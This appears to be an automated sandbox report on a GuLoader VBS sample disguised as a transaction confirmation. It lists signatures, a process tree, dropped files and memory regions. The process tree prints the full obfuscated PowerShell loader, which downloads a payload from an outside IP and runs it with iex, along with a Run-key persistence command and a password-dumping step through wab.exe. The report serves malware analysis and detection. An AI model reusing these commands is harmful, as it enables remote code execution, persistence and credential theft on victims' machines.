Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/06/2024, 06:39

General

  • Target
    Transaction_Execution_Confirmation_000000.vbs
  • Size 187KB
  • Sample240627-hel4mszbmk
  • SHA256 36e517cbfb12bd2e58446d7ae27d76baf3e454a793e8c629667fe067839ec23f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Transaction_Execution_Confirmation_000000.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Beruselsernes Respectant dulcifluous Brugerfladers Unmobilised Hamperer Preexpectant Cementstberis Iscremers Forstudiets Antenneindgang Uninvokable Preaggravate Sptmejsen Saddukere Apometaboly220 Tractoration Tavsers Gawking Aabningsbillederne Indisputabel Tuberkler Sellary Trunkway111 Beruselsernes Respectant dulcifluous Brugerfladers Unmobilised Hamperer Preexpectant Cementstberis Iscremers Forstudiets Antenneindgang Uninvokable Preaggravate Sptmejsen Saddukere Apometaboly220 Tractoration Tavsers Gawking Aabningsbillederne Indisputabel Tuberkler Sellary Trunkway111';$Concordens = 1;Function Graasteners($Lipoferous){$Tamilers=$Lipoferous.Length-$Concordens;$Skvttende98='SUBSTRIN';$Skvttende98+='G';For( $Ozonospheric=1;$Ozonospheric -lt $Tamilers;$Ozonospheric+=2){$Beruselsernes+=$Lipoferous.$Skvttende98.Invoke( $Ozonospheric, $Concordens);}$Beruselsernes;}function strkningspunkter($Paleothermal){ & ($Visnomy) ($Paleothermal);}$Dynamoers=Graasteners 'TM o.zFiNl l a /F5F. 0, F( W i.n dko wMsH NBT, S1H0m.c0 ; HW iFn 6.4 ;D .x 6 4A;s .r v :,1,2 1F. 0d) PGYeAcUkFo./F2I0 1S0,0C1R0 1F FPi.rKeEfPoPxF/,1S2 1 .,0S ';$Rykindene=Graasteners 'JU.sEeMr -sA.gUeNnSt, ';$Unmobilised=Graasteners 'KhTt t,pF: / /M1 0 3S.O1M9 5S. 2P3F7c. 4,3T/BMMiGnJiTmCu,m,tCrFy kPkSeBtK.tdMeHpDl.oSyG ';$Albatrosen=Graasteners ' >f ';$Visnomy=Graasteners ' i eCxS ';$Skansekldningers='Cementstberis';$Forlagsprotokol = Graasteners ' eGc,hDo. % a,p,pFdFaHtAa % \ P o.s,t eGrAipo r m.o sDt..,HCeCb, &H&s eFc,h.o, WtH ';strkningspunkter (Graasteners ' $TgPldo b a lS: nMoAnUc.oBs m o pTo lDi tpi.s m = (.c,m,dR A/Bc S$,FYo r lIa,g s pDrToStuo,kBoRlC)H ');strkningspunkter (Graasteners '.$Bg,l.oFb aLl.: BSr uDg.e r fCl.a dCe,r,sA= $ U,nSm.oAb.iKl.iOs,e dS..s.pLlNi,t (M$HAUl bSa t rUoesKeSnS) ');strkningspunkter (Graasteners ',[ NSe tI. S eAr,vCiBc eBPBoUi n.t M,aBn.aHg eOrA] :D:sSTe cFu,rMi,t y PKrUo t.o c.oSlB U= a[ NOeZt .TS.eVcSu.r,i t.yOPVr oStPo cBo.lpT ypp.eQ]U:r:GTDlAs 1 2A ');$Unmobilised=$Brugerfladers[0];$stoftilfrsels= (Graasteners ' $Tg lUoPbNa l.: SPu,pFeBrAf oHr m,a lMnJe s sF=BN e.w - O,bEjSeRc.t ,SCyMs,t ebm .SNUe tT.FWPe b.C lSiAe nft');$stoftilfrsels+=$noncosmopolitism[1];strkningspunkter ($stoftilfrsels);strkningspunkter (Graasteners 'B$PS u pPeAr f o r.m aRl n e.s s..SH e a dTe.ros,[L$DR y k.i nRd e n e ]F=.$ D.y n.a mNo e rRs. ');$Naboskab=Graasteners ',$ SSuup eSr.fCoTr mUaNl,n egs sA.JD oSwMnKl o.abd.FSiSl e,(,$ UDnOmYoDbPiIlAiUsBe do,.$wT,u,bNe,rAkKl,e,rM) ';$Tuberkler=$noncosmopolitism[0];strkningspunkter (Graasteners 'T$ng l.oSbKaAl,:fa e n dBr.iAnHg sCfAo r sWl,a g,=C(,TBe smt -IP a,tVhT S$VT u bCeUr kBlRe.rC)M ');while (!$aendringsforslag) {strkningspunkter (Graasteners ',$Ag l oGb,aSl :.MEaUySp oslceI= $etHrKu,e ') ;strkningspunkter $Naboskab;strkningspunkter (Graasteners 'HSKtAa.r,tR-MS l e eGpJ .4O ');strkningspunkter (Graasteners ',$ g lRoSb aTlF:SaCe.n,d.r,iFnFgGsBfKoRrMsPl a gZ=D(ATIeSs tB-,P a.t hS $CT,u bMe r k l e,r )i ') ;strkningspunkter (Graasteners ' $SgBl oGbkaAl : dBu.lAcMi f,lGuOoSu s = $Fg,lAo bLa.ls:OR eMs p e cFtSa nFtL+.+U%C$GB,r uDgReMr,f.l a.dAeDr s .UcdoSuUnst. ') ;$Unmobilised=$Brugerfladers[$dulcifluous];}$Paatnktes=334318;$Bewet=26301;strkningspunkter (Graasteners ' $.g.lHoSb,a lP:FI,s c rHe,mke.rBsS .=K ,G eCtP-PC oAn,tTeGnOt S$.T uVbHeBrRk lDeVr, ');strkningspunkter (Graasteners ' $ g.lBo.b.aCl :SBFa g e fMoDr mFeUnS A=. D[KS.y sMtVeSmU.DCHoSn v e r t ] : :VF,rUo,mPBMa sFeA6.4 S tDr i.nFgC( $MI sMcKrSe m.e rDsT) ');strkningspunkter (Graasteners ' $,g,l.oCbDa lS:,U nTiMnHvSo.kNa.b l eT =, S[FSSyBs t e.m .IT eRxAtP. E n.cCoKdKi nIgU].:F:.A.SPC I IV.eGOeKtDS.t,rCi n.g ( $TB.aAgGeBfEo rCm.e.nL)P ');strkningspunkter (Graasteners ',$ gAlEo.bOa lR:RI c hSnOo.gMrEaZpLh,i,eMs.=T$ U nSi n v oTkEaMb l eS. s u,b.s tCr i.nBg (F$ P a a,t n kAt e sM,A$CBHe.w,e t )A ');strkningspunkter $Ichnographies;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3144
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Posteriormost.Heb && echo t"
        3⤵
          PID:4880
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Beruselsernes Respectant dulcifluous Brugerfladers Unmobilised Hamperer Preexpectant Cementstberis Iscremers Forstudiets Antenneindgang Uninvokable Preaggravate Sptmejsen Saddukere Apometaboly220 Tractoration Tavsers Gawking Aabningsbillederne Indisputabel Tuberkler Sellary Trunkway111 Beruselsernes Respectant dulcifluous Brugerfladers Unmobilised Hamperer Preexpectant Cementstberis Iscremers Forstudiets Antenneindgang Uninvokable Preaggravate Sptmejsen Saddukere Apometaboly220 Tractoration Tavsers Gawking Aabningsbillederne Indisputabel Tuberkler Sellary Trunkway111';$Concordens = 1;Function Graasteners($Lipoferous){$Tamilers=$Lipoferous.Length-$Concordens;$Skvttende98='SUBSTRIN';$Skvttende98+='G';For( $Ozonospheric=1;$Ozonospheric -lt $Tamilers;$Ozonospheric+=2){$Beruselsernes+=$Lipoferous.$Skvttende98.Invoke( $Ozonospheric, $Concordens);}$Beruselsernes;}function strkningspunkter($Paleothermal){ & ($Visnomy) ($Paleothermal);}$Dynamoers=Graasteners 'TM o.zFiNl l a /F5F. 0, F( W i.n dko wMsH NBT, S1H0m.c0 ; HW iFn 6.4 ;D .x 6 4A;s .r v :,1,2 1F. 0d) PGYeAcUkFo./F2I0 1S0,0C1R0 1F FPi.rKeEfPoPxF/,1S2 1 .,0S ';$Rykindene=Graasteners 'JU.sEeMr -sA.gUeNnSt, ';$Unmobilised=Graasteners 'KhTt t,pF: / /M1 0 3S.O1M9 5S. 2P3F7c. 4,3T/BMMiGnJiTmCu,m,tCrFy kPkSeBtK.tdMeHpDl.oSyG ';$Albatrosen=Graasteners ' >f ';$Visnomy=Graasteners ' i eCxS ';$Skansekldningers='Cementstberis';$Forlagsprotokol = Graasteners ' eGc,hDo. % a,p,pFdFaHtAa % \ P o.s,t eGrAipo r m.o sDt..,HCeCb, &H&s eFc,h.o, WtH ';strkningspunkter (Graasteners ' $TgPldo b a lS: nMoAnUc.oBs m o pTo lDi tpi.s m = (.c,m,dR A/Bc S$,FYo r lIa,g s pDrToStuo,kBoRlC)H ');strkningspunkter (Graasteners '.$Bg,l.oFb aLl.: BSr uDg.e r fCl.a dCe,r,sA= $ U,nSm.oAb.iKl.iOs,e dS..s.pLlNi,t (M$HAUl bSa t rUoesKeSnS) ');strkningspunkter (Graasteners ',[ NSe tI. S eAr,vCiBc eBPBoUi n.t M,aBn.aHg eOrA] :D:sSTe cFu,rMi,t y PKrUo t.o c.oSlB U= a[ NOeZt .TS.eVcSu.r,i t.yOPVr oStPo cBo.lpT ypp.eQ]U:r:GTDlAs 1 2A ');$Unmobilised=$Brugerfladers[0];$stoftilfrsels= (Graasteners ' $Tg lUoPbNa l.: SPu,pFeBrAf oHr m,a lMnJe s sF=BN e.w - O,bEjSeRc.t ,SCyMs,t ebm .SNUe tT.FWPe b.C lSiAe nft');$stoftilfrsels+=$noncosmopolitism[1];strkningspunkter ($stoftilfrsels);strkningspunkter (Graasteners 'B$PS u pPeAr f o r.m aRl n e.s s..SH e a dTe.ros,[L$DR y k.i nRd e n e ]F=.$ D.y n.a mNo e rRs. ');$Naboskab=Graasteners ',$ SSuup eSr.fCoTr mUaNl,n egs sA.JD oSwMnKl o.abd.FSiSl e,(,$ UDnOmYoDbPiIlAiUsBe do,.$wT,u,bNe,rAkKl,e,rM) ';$Tuberkler=$noncosmopolitism[0];strkningspunkter (Graasteners 'T$ng l.oSbKaAl,:fa e n dBr.iAnHg sCfAo r sWl,a g,=C(,TBe smt -IP a,tVhT S$VT u bCeUr kBlRe.rC)M ');while (!$aendringsforslag) {strkningspunkter (Graasteners ',$Ag l oGb,aSl :.MEaUySp oslceI= $etHrKu,e ') ;strkningspunkter $Naboskab;strkningspunkter (Graasteners 'HSKtAa.r,tR-MS l e eGpJ .4O ');strkningspunkter (Graasteners ',$ g lRoSb aTlF:SaCe.n,d.r,iFnFgGsBfKoRrMsPl a gZ=D(ATIeSs tB-,P a.t hS $CT,u bMe r k l e,r )i ') ;strkningspunkter (Graasteners ' $SgBl oGbkaAl : dBu.lAcMi f,lGuOoSu s = $Fg,lAo bLa.ls:OR eMs p e cFtSa nFtL+.+U%C$GB,r uDgReMr,f.l a.dAeDr s .UcdoSuUnst. ') ;$Unmobilised=$Brugerfladers[$dulcifluous];}$Paatnktes=334318;$Bewet=26301;strkningspunkter (Graasteners ' $.g.lHoSb,a lP:FI,s c rHe,mke.rBsS .=K ,G eCtP-PC oAn,tTeGnOt S$.T uVbHeBrRk lDeVr, ');strkningspunkter (Graasteners ' $ g.lBo.b.aCl :SBFa g e fMoDr mFeUnS A=. D[KS.y sMtVeSmU.DCHoSn v e r t ] : :VF,rUo,mPBMa sFeA6.4 S tDr i.nFgC( $MI sMcKrSe m.e rDsT) ');strkningspunkter (Graasteners ' $,g,l.oCbDa lS:,U nTiMnHvSo.kNa.b l eT =, S[FSSyBs t e.m .IT eRxAtP. E n.cCoKdKi nIgU].:F:.A.SPC I IV.eGOeKtDS.t,rCi n.g ( $TB.aAgGeBfEo rCm.e.nL)P ');strkningspunkter (Graasteners ',$ gAlEo.bOa lR:RI c hSnOo.gMrEaZpLh,i,eMs.=T$ U nSi n v oTkEaMb l eS. s u,b.s tCr i.nBg (F$ P a a,t n kAt e sM,A$CBHe.w,e t )A ');strkningspunkter $Ichnographies;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1772
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Posteriormost.Heb && echo t"
            4⤵
              PID:3040
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:1896
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "idite" /t REG_EXPAND_SZ /d "%Parcelhusomraades114% -w 1 $Unrealise=(Get-ItemProperty -Path 'HKCU:\Forfordelte\').Selvskrevet;%Parcelhusomraades114% ($Unrealise)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:396
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "idite" /t REG_EXPAND_SZ /d "%Parcelhusomraades114% -w 1 $Unrealise=(Get-ItemProperty -Path 'HKCU:\Forfordelte\').Selvskrevet;%Parcelhusomraades114% ($Unrealise)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:2384
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\olmbfnjjxmqfuqzkekotqcbeaqxlscgec"
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3416
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qfzlg"
                5⤵
                • Accesses Microsoft Outlook accounts
                PID:3132
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\aheegyff"
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5048

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            __PSScriptPolicyTest_4xkph3y1.ica.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4xkph3y1.ica.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            olmbfnjjxmqfuqzkekotqcbeaqxlscgec

            • Path C:\Users\Admin\AppData\Local\Temp\olmbfnjjxmqfuqzkekotqcbeaqxlscgec
            • Size 4KB
            • SHA256 3e57870283553f2a55d674391c0f2d04f3324b916553c5fe05ea391dab4be00e
            • MD5 SHA1 SHA512 SSDEEP

            Posteriormost.Heb

            • Path C:\Users\Admin\AppData\Roaming\Posteriormost.Heb
            • Size 469KB
            • SHA256 c2fbb6039b145b52d429bcaf5ffb57cc83951c8032e06edfc19bb36dfe5bdede
            • MD5 SHA1 SHA512 SSDEEP

            memory/1772-23-0x0000000005530000-0x0000000005596000-memory.dmp

            memory/1772-33-0x00000000055A0000-0x00000000058F4000-memory.dmp

            memory/1772-19-0x0000000002260000-0x0000000002296000-memory.dmp

            memory/1772-20-0x0000000004E20000-0x0000000005448000-memory.dmp

            memory/1772-21-0x0000000004CF0000-0x0000000004D12000-memory.dmp

            memory/1772-22-0x00000000054C0000-0x0000000005526000-memory.dmp

            memory/1772-36-0x00000000073E0000-0x0000000007A5A000-memory.dmp

            memory/1772-40-0x0000000008010000-0x00000000085B4000-memory.dmp

            memory/1772-34-0x0000000005B90000-0x0000000005BAE000-memory.dmp

            memory/1772-35-0x0000000005BC0000-0x0000000005C0C000-memory.dmp

            memory/1772-42-0x00000000085C0000-0x000000000BB74000-memory.dmp

            memory/1772-37-0x0000000006120000-0x000000000613A000-memory.dmp

            memory/1772-38-0x0000000006E50000-0x0000000006EE6000-memory.dmp

            memory/1772-39-0x0000000006DE0000-0x0000000006E02000-memory.dmp

            memory/1896-70-0x0000000021280000-0x0000000021299000-memory.dmp

            memory/1896-66-0x0000000021280000-0x0000000021299000-memory.dmp

            memory/1896-69-0x0000000021280000-0x0000000021299000-memory.dmp

            memory/1896-46-0x0000000002120000-0x00000000056D4000-memory.dmp

            memory/3132-56-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/3132-53-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/3132-62-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/3144-43-0x00007FFB3C133000-0x00007FFB3C135000-memory.dmp

            memory/3144-49-0x00007FFB3C130000-0x00007FFB3CBF1000-memory.dmp

            memory/3144-16-0x00007FFB3C130000-0x00007FFB3CBF1000-memory.dmp

            memory/3144-5-0x0000020E63920000-0x0000020E63942000-memory.dmp

            memory/3144-15-0x00007FFB3C130000-0x00007FFB3CBF1000-memory.dmp

            memory/3144-44-0x00007FFB3C130000-0x00007FFB3CBF1000-memory.dmp

            memory/3144-4-0x00007FFB3C133000-0x00007FFB3C135000-memory.dmp

            memory/3416-52-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/3416-54-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/3416-57-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/5048-59-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/5048-55-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/5048-58-0x0000000000400000-0x0000000000424000-memory.dmp